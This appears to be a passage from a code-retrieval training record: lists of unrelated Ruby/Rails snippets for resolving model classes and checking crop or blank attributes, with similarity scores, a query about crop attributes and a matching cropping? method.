path[index].singularize.camelize\n\n klass = $page.model_classes[klass_name] || Model\n rescue NameError => e\n # Ignore exception, just means the model isn't defined\n klass = Model\n end\n else\n klass = Model\n end\n\n return klass\n end", "def dynamic_model_class_name\n dynamic_model.implementation_class.name\n end", "def model_class\n resource_class = @options[:resource]\n if resource_class.nil?\n @name.to_s.camelize.constantize\n elsif resource_class.kind_of? String\n resource_class.constantize\n else\n resource_class # could be a symbol\n end\n end", "def get_class type\n case type\n when Class\n type\n when BaseModel\n type.my_class\n when String, Symbol\n return get_class send(\"#{type}_model\") if [:subject, :object, :join].include?(type.to_sym)\n type.to_s.constantize\n else\n raise \"Can't determine a class from: #{type}\"\n end \n end", "def model\n controller_name.classify.constantize\n end", "def model_type\n self.class.name[/(.*)Controller/,1].singularize.constantize\n end", "def model_type\n self.class.name[/(.*)Controller/,1].singularize.constantize\n end", "def model_class\n class_name.constantize\n end", "def model_class_for_sym(model_sym)\n begin\n model_sym.to_s.classify.constantize\n rescue NameError\n raise NameError, \"Cannot convert :#{model_sym} to a valid model class\"\n end\n end", "def model_class_name\n options[:model] ? options[:model].classify : \"User\"\n end", "def model_class\n @controller.model_class\n end", "def class_for assoc_name\n @model_class.reflect_on_association(assoc_name.to_sym).klass\n end", "def model_name\n @model_name ||= if defined?(ActiveModel::Name)\n ActiveModel::Name.new(call(:model)).param_key\n else\n call(:model).name.underscore\n end.to_sym\n end", "def get_model_name\n @model_name ||= self.class_simple_name.underscore[0..-12].singularize\n end", "def class\n @model.class\n end", "def model_class\n self.class_name.constantize\n end", "def model_from_options #nodoc\n @options[:class_name].nil? ? nil : @options[:class_name].constantize\n end", "def find_model_class_by(params)\n model_class = Map.model_class_map params[:resources]\n return model_class unless MODEL_ACTIONS.include? params[:action].to_sym\n raise ModelNotFound, params[:resources] unless model_class\n unless Map.mode_map[model_class]\n raise UnprocessableEntity, Locale.t('errors.unprocessable_entity.model', model: model_class)\n end\n\n model_class\n end", "def class_for_controller_name\n controller_model\n end", "def to_class\n\t\t@model.classes.map { |kname, klass| klass.to_class( @model ) } +\n\t\t\t@model.find_through.map { |t| t.to_class }\n\tend", "def default_model_class=(model) #:nodoc:\n init_columns_of_table(model) unless key?(model)\n @default_model_class = model\n end", "def class_with_model_name # :nodoc:\n self.class_without_model_name.tap do |c|\n c.instance_variable_set('@_model_name', @model_name)\n (class << c; self; end).send(:define_method,:model_name) do\n model_namer = Struct.new(:name).new(self.instance_variable_get('@_model_name'))\n ActiveModel::Name.new(model_namer)\n end\n end\n end", "def model_type\n self.class.model_type\n end", "def target_class\n if reflection.polymorphic?\n base_model.send(reflection.foreign_type).constantize\n else\n reflection.klass\n end\n end", "def default_model_name\n @object.class.to_s\n end", "def model\n if object[inheritance_column]\n object[inheritance_column].constantize\n else\n original_class\n end\n end", "def controlled_model_class\n controller_path.classify.constantize\n end", "def model_for(representer)\n model_class_string = representer.to_s.chomp('Representer')\n Object.const_get(model_class_string)\n end", "def model\n\t\tObject.const_get(controller_name.classify)\n\tend", "def view_type\n @view_type = ValidViewTypes.find { |vt| vt == params[:view_type] } || DefaultViewType\n end", "def get_model\n return model_classes[item_type].new()\n end", "def model_class_name\n options[:model] ? options[:model].classify : \"Account\"\n end", "def model\n self.controller_name.classify.constantize\n end", "def cv_klass\n object.model.class.properties[attribute_name.to_s].class_name\n end", "def topmost_model_class\n @topmost_model_class ||= begin\n klass = self.class\n self.class.ancestors.select { |k| k.is_a? Class }.each do |k|\n if k == ActiveRecord::Base\n return klass\n end\n klass = k\n end\n end\n end", "def t_model(model = nil)\n return model.model_name.human if model.is_a? ActiveModel::Naming\n return model.class.model_name.human if model.class.is_a? ActiveModel::Naming\n model_key = if model.is_a? Class\n model.name.underscore\n elsif model.nil?\n controller_name.singularize\n else\n model.class.name.underscore\n end\n I18n.t(\"activerecord.models.#{model_key}\")\n end", "def model_decorator(model_class = self.model_class)\n return if model_class.blank?\n\n Map.model_decorator_map model_class, base_class\n end", "def model_name(object)\n object.present? ? object.class.name : object.to_s.classify\n end", "def klass\n @klass ||= association ? association.klass : model\n end", "def class\n form_builder.model_class\n end", "def exposes(model_class)\n @model_class = model_class.to_s.singularize.camelize.constantize\n end", "def make_class(*args)\n view_class=args.inject(Kernel) {|scope, const_name| scope.const_get(const_name)}\n view_class\n end", "def model\n begin\n return controller_name.classify.constantize\n rescue\n return ('SlashAdmin::' + controller_name.classify).constantize\n end\n end", "def model\n @_model ||=\n if self.class == Edgarj::EdgarjController\n # dummy model for 'top' action:\n Edgarj::Sssn\n else\n self.class.name.gsub(/Controller$/, '').singularize.constantize\n end\n end", "def getKlass #:doc:\n @Klass = self.controller_name.classify.constantize\n @Klass\n end", "def model_param\n # model_class is defined by derived controllers for the individual search\n # types we support\n model_class.to_s.demodulize.underscore\n end", "def tenant_class\n @tenant_class ||= if self.model.respond_to?(:call)\n self.model.call\n elsif self.model.respond_to?(:constantize)\n self.model.constantize\n else\n self.model\n end\n end", "def model_name(model)\n model.class.to_s.downcase\n end", "def get_original_model_name(model)\n class_name = model.class.name\n if class_name.end_with?(\"::Version\")\n class_name = class_name.split(\"::\")[0]\n end\n class_name\n end", "def current_model\n unless self.controller.respond_to? :current_model\n raise ArgumentError, \"#{self.controller} expected to define current_model. Example: UsersController.current_model should return the User class\"\n end\n self.controller.send(:current_model)\n end", "def requested_model_to_model(requested_model)\n #move \"cases\" to mpr_model_steps.\n case requested_model\n when /^Site[s]?$/i, /^PhosphorylationSite[s]?$/i\n return StySiteAbstractGene\n when /^(.+)[(](.+)[)]$/ #handle model(with associations), model(for scene a)\n return requested_model_to_model($1)\n else\n possible_model_name = requested_model.singularize.underscore.classify\n #Note Ping class exists, so check for PingActivity first.\n return \"#{possible_model_name}Activity\".constantize rescue nil\n return possible_model_name.constantize rescue nil\n end\n\n raise \"Requested Model (#{requested_model}, as #{possible_model_name}) is not supported.\"\nend", "def klass_from_controller(c = controller_name)\n c.singularize.camelize.constantize\n end", "def get_model(model_slug)\n site = get_site\n site.content_types.where(:slug => model_slug).first\n end", "def model_name\n @model_class ? @model_class.name.demodulize.underscore : self.controller_name.singularize\n end", "def model\n @type.constantize\n end", "def model\n @type.constantize\n end", "def model_name\n if defined?(ActiveSupport::ModelName)\n ActiveSupport::ModelName.new(name)\n else\n ActiveModel::Name.new(self)\n end\n end", "def model_name\n @_model_name ||= begin\n klass = respond_to?(:main_class) ? main_class : self\n\n namespace = klass.parents.detect do |n|\n n.respond_to?(:use_relative_model_naming?) && n.use_relative_model_naming?\n end\n ActiveModel::Name.new(klass, namespace)\n end\n end", "def model_class=(klass)\n @model_name = nil\n @model_class = klass\n end", "def klass\n class_name = self[\"_type\"]\n class_name ? class_name.constantize : nil\n end", "def get_mobj(mname=nil) @model_class.instance; end", "def generate_view_models\n file_name = class_name.underscore\n \n create_model class_name, file_name\n \n create_views file_name if options.views.present?\n end", "def get_as_class_name ruby_class_name\n mapping = @ruby_mappings[ruby_class_name]\n return mapping.nil? ? nil : mapping.as\n end", "def concrete_model\n self.class\n end", "def model\n self.class.const_get(:MODEL)\n end", "def model_controller(model)\n model.class.name.downcase.pluralize\n end", "def model class_obj = nil\n if class_obj\n describe_property __method_name__, class_obj\n describe_property :model_underscore, class_obj.to_s.underscore.to_sym\n if !has_property?(:controller)\n describe_property :controller, model_underscore\n end\n end\n describe_or_get_property __method_name__\n end", "def object_class\n self.class.to_s[/\\A([^:]+)/, 1].singularize.constantize\n rescue\n raise \"Could not determine form class from #{self.class}.\"\n end", "def application_model\n @application_model ||= application_class.constantize\n end", "def viewmodel_from!(object:)\n raise \"Override base_model(model) in order to use the ViewModel mixin.\" if @base_model.nil?\n raise \"Incorrect object type. Expected #{@base_model}, got #{object.class}\" unless object.kind_of?(@base_model)\n if object.respond_to?(:to_object_dictionary)\n instance_variables = @base_model.instance_variables\n return object.to_object_dictionary(ignore_instance_variables: instance_variables - included_attributes)\n else\n raise \"#{@base_model} does not include JSONConvertible.\" unless @base_model.include?(JSONConvertible)\n end\n end", "def t_model(model = nil, pluralize: false)\n logger.info(\"model: #{model.inspect}\")\n return model.model_name.human if model.is_a? ActiveModel::Naming\n return model.class.model_name.human if model.class.is_a? ActiveModel::Naming\n\n model_key = if model.is_a? Class\n model.name.underscore\n elsif model.nil?\n controller_name.singularize\n else\n model.class.name.underscore\n end\n count = pluralize ? 2 : 1\n I18n.t(\"activerecord.models.#{model_key}\", count: count)\n end", "def model_path\n @model_class.to_s.underscore.split('/').last.pluralize\n end" ]
[ "0.6332937", "0.619373", "0.618355", "0.61675394", "0.61671686", "0.6132349", "0.5820911", "0.5811959", "0.569339", "0.56078196", "0.5593443", "0.5486177", "0.54407644", "0.5343196", "0.53384167", "0.52666116", "0.5245672", "0.5213166", "0.5201457", "0.518938", "0.51862705", "0.5184207", "0.5117483", "0.5116734", "0.5116192", "0.507983", "0.5071608", "0.50701666", "0.5056901", "0.5055132", "0.50183856", "0.50168645", "0.5008768", "0.5001151", "0.5001151", "0.49639425", "0.49587953", "0.49301106", "0.49028984", "0.48800984", "0.48765478", "0.48731518", "0.48694077", "0.48635963", "0.48563784", "0.48468095", "0.48153138", "0.47926185", "0.47847873", "0.477398", "0.47700322", "0.47663966", "0.4764108", "0.47421893", "0.47283438", "0.47232872", "0.4715801", "0.47096053", "0.47064027", "0.46942165", "0.46918467", "0.46860978", "0.46853748", "0.46738732", "0.46712086", "0.46626845", "0.46572798", "0.4648231", "0.46373868", "0.46303636", "0.46257827", "0.46110108", "0.45987305", "0.45717493", "0.4570559", "0.4560195", "0.45486572", "0.4527057", "0.45209968", "0.45093137", "0.45051205", "0.44864285", "0.4482658", "0.4482658", "0.44748604", "0.44713485", "0.44571364", "0.44545397", "0.44499224", "0.44442692", "0.4436737", "0.44332883", "0.44253245", "0.44208103", "0.4419217", "0.44191107", "0.44185418", "0.44057733", "0.4393519", "0.43859643" ]
0.8219892
0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% Instance methods %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% returns true if any of the crop attrs are not blank
def cropping? !crop_x.blank? && !crop_y.blank? && !crop_w.blank? && !crop_h.blank? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cropping?\n !crop_x.blank? and !crop_y.blank? and !crop_w.blank? and !crop_h.blank?\n end", "def cropping?\n !crop_x.blank? && !crop_y.blank? && !crop_w.blank? && !crop_h.blank?\n end", "def cropping?\n !self.crop_x.blank? && !self.crop_y.blank? && !self.crop_w.blank? && !self.crop_h.blank?\n end", "def cropping?\n !crop_x.blank? && !crop_y.blank? && !crop_ratio.blank?\n end", "def cropping?\n !!crop_x and !!crop_y and !!crop_w and !!crop_h\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def empty?\n @attrs.empty?\n end", "def blank?\n [:city, :zip, :address_1, :address_2].all? do |attr|\n self.send(attr).blank?\n end\n end", "def can_be_cropped?\n thumbnail_coordinates.present? &&\n thumbnail_coordinates['x'].to_i > 0 &&\n thumbnail_coordinates['y'].to_i > 0 &&\n thumbnail_coordinates['h'].to_i > 0 &&\n thumbnail_coordinates['w'].to_i > 0\n end", "def can_be_cropped?\n thumbnail_coordinates.present? &&\n thumbnail_coordinates['x'].to_i > 0 &&\n thumbnail_coordinates['y'].to_i > 0 &&\n thumbnail_coordinates['h'].to_i > 0 &&\n thumbnail_coordinates['w'].to_i > 0\n end", "def crop?\n @crop\n end", "def crop?\n @crop\n end", "def location_empty?( attr )\n attr[ 'uri' ].blank? &&\n attr[ 'file_name' ].blank? &&\n attr[ 'doc_code' ].blank? &&\n attr[ 'doc_version' ].blank?\n end", "def is_crop?\r\n self.rels_ext.content.include? \"isCropOf\"\r\n end", "def design_data_filled_in?\n !self.description.blank? && \n !self.platform.blank? && \n !self.product_type.blank? && \n !self.project.blank? &&\n !self.design_directory.blank? &&\n !self.incoming_directory.blank?\n end", "def skip_blanks?() @skip_blanks end", "def blank?(only_visible_tags = T.unsafe(nil)); end", "def empty?\n DIFF_ATTRIBUTES.all? { |attr|\n self.send(attr).empty?\n } && stacks.values.all? { |stk| stk.empty? }\n end", "def valid?\n width.present? && height.present?\n end", "def should_reject(attributes)\n\t\tif attributes[:id].present?\n\t\t\treturn false\n\t\telsif attributes[:image].blank?\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def nils?\n [@passphrase, @plain, @encrypted].each do |attribute|\n return true if attribute.nil?\n end\n return false\n end", "def empty?\n attributes.size == 0\n end", "def blank?\n self.nil? || self.empty?\n end", "def valid?\n return false if @height.nil?\n return false if @id.nil?\n return false if @name.nil?\n return false if @width.nil?\n true\n end", "def blank?\r\n nil? || (respond_to?(:empty?) && empty?)\r\n end", "def blank?\n true\n end", "def blank?\n true\n end", "def empty?\n a = @data_object\n\n (a.add_line1.nil? || a.add_line1.empty?) &&\n (a.add_line2.nil? || a.add_line2.empty?) &&\n (a.add_city.nil? || a.add_city.empty?) &&\n (a.add_county.nil? || a.add_county.empty?) &&\n (a.add_state.nil? || a.add_state.empty?) &&\n (a.add_zip.nil? || a.add_zip.empty?) &&\n (a.add_country.nil? || a.add_country.empty?)\n end", "def presence(attrs)\n Array(attrs).each do |attr|\n value = @object.respond_to?(attr) ? @object.send(attr) : nil\n # TODO: write some tests\n # consider explicit `false` as an actual value (not blank)\n error(attr, 'is required') unless value == false || value && value != ''\n end\n end", "def blank?\n nil? || (respond_to?(:empty?) && empty?)\n end", "def blank?\n nil? || (respond_to?(:empty?) && empty?)\n end", "def blank?\n nil? || (respond_to?(:empty?) && empty?)\n end", "def confirm_attribs?\n\n #begin\n \n width, height = Dimensions.dimensions(tmpfile.path) \n return pixels == metadata_pixels ? true : false \n \n #rescue\n return nil \n #end\n \n return true\n \n end", "def blank?\n false\n end", "def blank?\n false\n end", "def blank?\n @address_line1.blank? && @town.blank? && @postcode.blank?\n end", "def no_nil_attributes\n GroupEvent.attribute_names.without(\"deleted\").each do |a|\n if self.send(a).blank?\n errors.add(:base, \"All fields are required to publish an event\")\n return false\n end\n end\n return true\n end", "def blank?\n false\n end", "def one_side_empty?\n return true if (@cups.take(5).all? {|cup| cup.empty? } ||\n @cups[7..12].all? {|cup| cup.empty? } )\n return false\n end", "def attributes?\n attributes.length > 0\n end", "def composite?\n !shapes.empty?\n end", "def attrs_provided?(attrs)\n !attrs.empty?\n end", "def blank?\n empty?\n end", "def attribute_empty?(apicall, field)\n if (apicall[field.to_sym].nil? || apicall[field.to_sym].length < 1)\n return true\n else\n return false\n end\n end", "def blank?\n empty?\n end", "def blank?\n true\n end", "def blank?\n true\n end", "def blank?\n true\n end", "def blank?\n return true if @target.nil?\n @target.respond_to?(:empty?) ? @target.empty? : !@target\n end", "def anything_blank?\n max_payment.blank? || min_payment.blank? || deposit.blank? || term.blank?\n end", "def has_only_destroy?(attrs)\n attrs.each do |k,v|\n if k !=\"_destroy\" && !v.blank?\n return false\n end\n end\n return true\t\n end", "def has_only_destroy?(attrs)\n attrs.each do |k,v|\n if k !=\"_destroy\" && !v.blank?\n return false\n end\n end\n return true\t\n end", "def blank?( object )\n return object.nil? || object.empty?\n end", "def blank?\n false\n end", "def blank?\n false\n end", "def blank?\n false\n end", "def empty?\n attributes.except('id', 'created_at', 'updated_at', 'order_id', 'country_id', 'user_id').all? { |_, v| v.nil? }\n end", "def has_only_destroy?(attrs)\n\t attrs.each do |k,v|\n\t \tif k !=\"_destroy\" && !v.blank?\n\t \t\treturn false\n\t \tend\n\t\tend\n\t\treturn true\t\n \tend", "def has_only_destroy?(attrs)\n\t attrs.each do |k,v|\n\t \tif k !=\"_destroy\" && !v.blank?\n\t \t\treturn false\n\t \tend\n\t\tend\n\t\treturn true\t\n \tend", "def valid?\n MANDATORY_ATTRIBUTES.each{|a| return false unless self[a]}\n true\n end", "def blank?\n length == 0\n end", "def valid_attrs?(*names)\n valid?\n names.inject(true) { |res, name| errors[name].blank? && res }\n end", "def non_empty_attr\n attributes.reject {|x,y| x == 'id' or y.blank?}\n end", "def read_present\n @attrs.select { |k,v| !v.nil? }\n end", "def blank?\n self.strip.size == 0\n end", "def validate_attrs\n @target.present? && !@target.errors.any? && @actor.present? && @action_key.present?\n end", "def blank?\n self.strip.length === 0\n end", "def attr_falsey_or_empty?(key)\n !@attrs[key] || @attrs[key].respond_to?(:empty?) && @attrs[key].empty?\n end", "def allow_image_cropping?\n content && content.settings[:crop] && picture &&\n picture.can_be_cropped_to?(\n content.settings[:size],\n content.settings[:upsample],\n ) && !!picture.image_file\n end", "def valid?\n return false if @category.nil?\n return false if @extension.nil?\n return false if @height.nil?\n return false if @length.nil?\n return false if @location.nil?\n return false if @name.nil?\n privacy_validator = EnumAttributeValidator.new('String', [\"private\", \"friends\", \"public\"])\n return false unless privacy_validator.valid?(@privacy)\n return false if @width.nil?\n return true\n end", "def has_attributes?(names)\n parts = composite_parts\n names.all?{|k| parts.key?(k)}\n end", "def blank?\n self !~ /[^[:space:]]/\n end", "def valid?\n return false if @font_size.nil?\n return false if @bold.nil?\n return false if @italic.nil?\n return false if @width.nil?\n return false if @height.nil?\n return false if @top.nil?\n return false if @left.nil?\n return false if @rotation_angle.nil?\n return false if @transparency.nil?\n return false if @background.nil?\n return false if @auto_align.nil?\n return true\n end", "def valid?\n return false if @layout_type.nil?\n return false if !@tags.nil? && @tags.length > 5\n return false if @title.nil?\n return false if @widgets.nil?\n true\n end", "def blank_param?(data)\n data.blank? || data.try(:values).try(:all?, &:blank?)\n end", "def blank?(object)\n object.to_s.sub(/\\s+/, '') == ''\n end", "def build_optionals?(opt)\n opt.each do |attr, value|\n return true unless value.blank?\n end\n\n return false\n end", "def valid?\n MANDATORY_ATTRIBUTES.each { |a| return false unless self[a] }\n true\n end", "def empty?\n return false if (@identifiers.length > 0) or @reference[\"format\"] or @reference[\"location\"] or @metadata.length > 0 or @format or @private_data\n true\n end", "def valid?\n return false if @aperture_value.nil?\n return false if @brightness_value.nil?\n return false if !@cfa_pattern.nil? && @cfa_pattern !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if !@components_configuration.nil? && @components_configuration !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @compressed_bits_per_pixel.nil?\n return false if !@device_setting_description.nil? && @device_setting_description !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @digital_zoom_ratio.nil?\n return false if !@exif_version.nil? && @exif_version !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @exposure_bias_value.nil?\n return false if @exposure_index.nil?\n return false if @exposure_time.nil?\n return false if @f_number.nil?\n return false if @flash_energy.nil?\n return false if !@flashpix_version.nil? && @flashpix_version !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @focal_length.nil?\n return false if @focal_length_in35_mm_film.nil?\n return false if @focal_plane_x_resolution.nil?\n return false if @focal_plane_y_resolution.nil?\n return false if @gps_altitude.nil?\n return false if !@gps_area_information.nil? && @gps_area_information !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @gpsdop.nil?\n return false if @gps_dest_bearing.nil?\n return false if @gps_dest_distance.nil?\n return false if @gps_differential.nil?\n return false if @gps_img_direction.nil?\n return false if !@gps_processing_method.nil? && @gps_processing_method !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @gps_speed.nil?\n return false if !@gps_version_id.nil? && @gps_version_id !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @gamma.nil?\n return false if @iso_speed.nil?\n return false if @iso_speed_latitude_yyy.nil?\n return false if @iso_speed_latitude_zzz.nil?\n return false if @photographic_sensitivity.nil?\n return false if !@maker_note_raw_data.nil? && @maker_note_raw_data !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @max_aperture_value.nil?\n return false if !@oecf.nil? && @oecf !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @pixel_x_dimension.nil?\n return false if @pixel_y_dimension.nil?\n return false if @recommended_exposure_index.nil?\n return false if @scene_type.nil?\n return false if @sensitivity_type.nil?\n return false if @sharpness.nil?\n return false if @shutter_speed_value.nil?\n return false if !@spatial_frequency_response.nil? && @spatial_frequency_response !~ Regexp.new(/^(?:[A-Za-z0-9+\\/]{4})*(?:[A-Za-z0-9+\\/]{2}==|[A-Za-z0-9+\\/]{3}=)?$/)\n return false if @standard_output_sensitivity.nil?\n return false if @subject_distance.nil?\n true\n end", "def valid?\n !(image_too_small? || image_too_big?)\n end", "def is_skippable?\n return true if @label.include? 'coverblank'\n end", "def empty?\n is_empty = false\n if self.bounds\n is_empty = ((self.bounds.top + self.bounds.left + self.bounds.bottom + self.bounds.right) == 0)\n end\n\n is_empty\n end", "def noop?\n local_attributes.empty?\n end", "def valid?\n return false if @id.nil?\n return false if !@popularity.nil? && @popularity > 5\n return false if !@tags.nil? && @tags.length > 5\n return false if @type.nil?\n true\n end", "def blank?(value)\n value.nil? == false && value.empty? == false\n end", "def fully_specified\r\n !address.nil? && !address.empty? &&\r\n !city.nil? && !city.empty? &&\r\n !state.nil? && !state.empty? &&\r\n !zip.nil? && !zip.empty?\r\n end", "def any?\n not blank?\n end", "def blank?\n strip.size == 0\n end", "def should_be_partially_valid_on(*attrs)\n attrs.each do |attr_name|\n partially_valid_attributes << attr_name.to_s\n end\n partially_valid_attributes.uniq!\n end", "def placed?\n x != nil && y != nil && orientation != nil\n end", "def valid_attributes?\n attribute_errors.empty?\n end", "def empty?\n w == 0 || h == 0\n end", "def valid_image_data?\n\n #There should be image data.\n unless self.data?\n errors.add(:base, \"No image data.\")\n return false\n end\n\n #There should be large thumbnail data.\n unless self.large_thumb?\n errors.add(:base, \"No large thumbnail image data.\")\n return false\n end\n\n #There should be small thumbnail data.\n unless self.small_thumb?\n errors.add(:base, \"No small thumbnail image data.\")\n return false\n end\n\n return true\n end" ]
[ "0.7417442", "0.7396074", "0.736614", "0.7353512", "0.69731385", "0.6630603", "0.6630603", "0.6630603", "0.6630603", "0.65874654", "0.65364647", "0.6360585", "0.6345788", "0.6345788", "0.62882346", "0.62882346", "0.61892074", "0.61764395", "0.61156046", "0.60177296", "0.6008629", "0.6001236", "0.59926426", "0.59633046", "0.59601897", "0.5950405", "0.5918616", "0.58898216", "0.585405", "0.5834481", "0.5834334", "0.58310056", "0.5830307", "0.5817444", "0.5817444", "0.58173525", "0.5804776", "0.5797498", "0.5797498", "0.57890874", "0.5783263", "0.5780313", "0.57751614", "0.57509404", "0.57323146", "0.57201356", "0.57151866", "0.57098746", "0.57095915", "0.57002074", "0.57002074", "0.57002074", "0.5684016", "0.56662524", "0.56646323", "0.56646323", "0.5661717", "0.56540465", "0.56540465", "0.56540465", "0.56472784", "0.5645204", "0.5645204", "0.563348", "0.56330067", "0.5616899", "0.56047267", "0.560159", "0.5596854", "0.5590735", "0.55801225", "0.55784374", "0.55694956", "0.5558644", "0.5547641", "0.55449384", "0.5538712", "0.552899", "0.5525227", "0.5523246", "0.5519435", "0.5514848", "0.55142105", "0.55003", "0.54936576", "0.54879636", "0.54815984", "0.54769915", "0.54749775", "0.5471699", "0.5467556", "0.54535973", "0.5451227", "0.5446465", "0.5445734", "0.5440492", "0.54398197", "0.54380435" ]
0.7393527
3
Sets self.hotness according to the idea's age, upvotes/downvotes, and whether or not the idea has 'preferred' status. Hotness is used to determine where in the list the idea will appear. We've used the same algorithm as reddit does for sorting its contents. At present, having posting an idea later gives more hotness to the idea than upvotes, since vote_weight is calculated using log(10), while the newness of the idea is just newness / 45000. If an idea has preferred status, it is the equivalent of the idea having PREFERRED_MAGNITUDE extra upvotes when it comes to sorting it in the list. If if an idea is preferred, PREFERRED_MAGNITUDE = 5000, and has no upvotes, it will have the approximate hotness of an idea posted about 2 days later. That being the case, if a preferred idea gets no upvotes, it will be overtaken by other ideas about 2 days later. You can see more details about the subject at:
def set_hotness! preferred_weight = self.preferred ? PREFERRED_MAGNITUDE : 0 vote_weight = vote_tally + preferred_weight newness = self.created_at.to_f || Time.now.to_f sign = vote_weight < 0 ? -1 : 1 upvote_magnitude = [ vote_weight.abs, 1.1 ].max order = Math.log upvote_magnitude, 10 self.hotness = sign * order + newness / 45000 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def calc_hot_score\n points = upvotes - downvotes\n time_ago_in_hours = ((Time.now - created_at) / 3600).round\n score = hot_score(points, time_ago_in_hours)\n\n update_attributes(points: points, hot_score: score)\n end", "def check_upvote(idea)\n if idea.quality == 'genius'\n elsif idea.quality == 'plausible'\n idea.update(quality: 'genius')\n elsif idea.quality == 'swill'\n idea.update(quality: 'plausible')\n end\n end", "def add_review_votes_to_review\n # increment the count of votes regardless of stance\n if self.review.helpful_count.nil?\n self.review.helpful_count = 1\n else\n self.review.helpful_count += 1\n end\n\n # adjust the score to incorporate the up-vote, if it's an up-vote\n if self.helpful?\n if self.review.helpful_score.nil?\n self.review.helpful_score = 1\n else\n self.review.helpful_score += 1\n end\n end\n \n self.review.save!\n end", "def upvote_and_update(user)\n self.liked_by user\n self.save #trigger set_hotness!\n end", "def counting_recommendation\n count = @shoe.count\n if count <= 1\n @cold\n elsif count <= 10\n @warm\n else\n @hot\n end\n end", "def rateBoringness\n distanceToUnseen = boringnesses[:unseen] || LargeFiniteNumber\n distanceToFood = boringnesses[:food] || LargeFiniteNumber\n distanceToEnemy = boringnesses[:enemyHill] || LargeFiniteNumber\n # Apply a sub-linear function to each distance so that\n # farther away distances have less influence than close.\n # Food is more important than unexplored spaces.\n # Enemy nests are even more important(?).\n # Using a continuous function (rather than e.g. if distanceToFood < 6)\n # makes it easier to write a function that can fairly compare any\n # two locations we're considering moving to, even when the two\n # locations fall on different sides of that threshold.\n result = Math.sqrt(distanceToUnseen * ExploreWeight) +\n Math.sqrt(distanceToFood * FoodWeight) +\n Math.sqrt(distanceToEnemy * HillWeight)\n #log \"#{@col},#{@row} boringness: #{distanceToUnseen}, #{distanceToFood}, #{distanceToEnemy} ==> #{result}\"\n return result\n end", "def set_vote_tally!\n self.vote_tally = self.get_upvotes.size - self.get_downvotes.size\n end", "def set_rating\n food_reviews = self.food_reviews\n if self.has_rating\n totrating = 0\n food_reviews.each do |food_review|\n totrating = totrating + food_review.rating\n end\n avg_rating = totrating.to_f/food_reviews.length\n @food_rating = avg_rating.round(2)\n return\n end\n @food_rating = 0.0\n end", "def analyze_vote_ovals\n Hot_columns.each do |col_index|\n Hot_rows.each do |row_index|\n vote_oval_pos = transform_point(BPoint.new(col_index, row_index))\n @upstream.ann_point(vote_oval_pos.x, vote_oval_pos.y)\n xpos = vote_oval_pos.x - i2p(Vote_oval_width)/2.0\n ypos = vote_oval_pos.y-i2p(Vote_oval_height)/2.0\n width = i2p(Vote_oval_width)\n height = i2p(Vote_oval_height)\n @upstream.ann_rect(xpos, ypos, width, height)\n score = shrink_to_one :ballot, xpos, ypos, width, height\n if score < (QuantumRange * VoteOvalDetectThresh).to_int then\n @raw_marked_votes << [row_index, col_index]\n end\n end\n end\n end", "def update_best\n if @best_price < @ep.max\n @best_price = @ep.max\n res_i = @ep.index(@best_price)\n @best_weight = @bw[res_i]\n @best_baggage = in_bag(@cg[res_i])\n end\n end", "def upvotes\n votes.where(Vote.arel_table[:weight].gt(0)).sum(:weight)\n end", "def classify\n Rails.logger.debug \"Classification #{id}.classify\"\n weights_sum = classifiers.map( &:weight ).reduce( 0, :+ )\n Rails.logger.debug \"weights_sum: #{weights_sum}\"\n\n available_sum = classifiers.reduce( 0.0 ) { |sum, c|\n true_weight = weights_sum / c.weight\n Rails.logger.debug \"#{c.name} true_weight: #{true_weight}\"\n\n sum += c.available * true_weight\n }\n\n Rails.logger.debug \"available_sum: #{available_sum}\"\n self.available = available_sum / classifiers.length\n Rails.logger.debug \"available: #{available}\"\n\n if available >= @@available_threshold\n self.status = 'up'\n else\n self.status = 'down'\n end\n end", "def advantage\n (score1 > score2 ? 1 : 2) if advantage?\n end", "def make_hungry\n if @hungry\n @hungry = false\n else\n @hungry = true\n end\n end", "def hungry? # method returns true/false so we can use \"?\" as part of the name\n @stuff_belly <= 2\n end", "def hungry? # method returns true/false so we can use \"?\" as part of the name\n @stuff_belly <= 2\n end", "def heuristic_score\n 0\n end", "def least_favorite_recipe\n recipes_sorted_by_rating[0]\n end", "def reputation_threshold_action\n 